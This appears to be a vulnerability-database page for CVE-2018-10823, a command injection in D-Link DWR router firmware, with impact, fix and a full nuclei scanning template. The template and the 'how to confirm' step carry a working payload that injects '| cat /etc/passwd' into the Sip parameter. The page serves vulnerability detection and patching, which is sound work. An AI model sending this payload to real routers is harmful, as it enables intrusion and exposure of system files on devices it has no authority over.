HexBrain

Browse / CVEs / CVE-2018-10823

CVE-2018-10823· dlink / dwr-116 firmware· CWE-78

D-Link Routers - Remote Command Injection

highseverity
8.8CVSS score
77.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

D-Link DWR-116 through 1.06, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 device may allow an authenticated attacker to execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for full control over the device internals.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and complete compromise of the affected router.

Fix

Apply the latest firmware update provided by D-Link to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/chkisg.htm%3FSip%3D1.1.1.1%20%7C%20cat%20%2Fetc%2Fpasswd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-10823 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-10823

info:
  name: D-Link Routers - Remote Command Injection
  author: wisnupramoedya
  severity: high
  description: |
    D-Link DWR-116 through 1.06, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 device may allow an authenticated attacker to execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for full control over the device internals.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and complete compromise of the affected router.
  remediation: |
    Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45676
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10823
    - https://seclists.org/fulldisclosure/2018/Oct/36
    - http://sploit.tech/2018/10/12/D-Link.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2018-10823
    cwe-id: CWE-78
    epss-score: 0.77699
    epss-percentile: 0.99568
    cpe: cpe:2.3:o:dlink:dwr-116_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dwr-116_firmware
  tags: cve,cve2018,rce,iot,dlink,router,edb,seclists,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/chkisg.htm%3FSip%3D1.1.1.1%20%7C%20cat%20%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from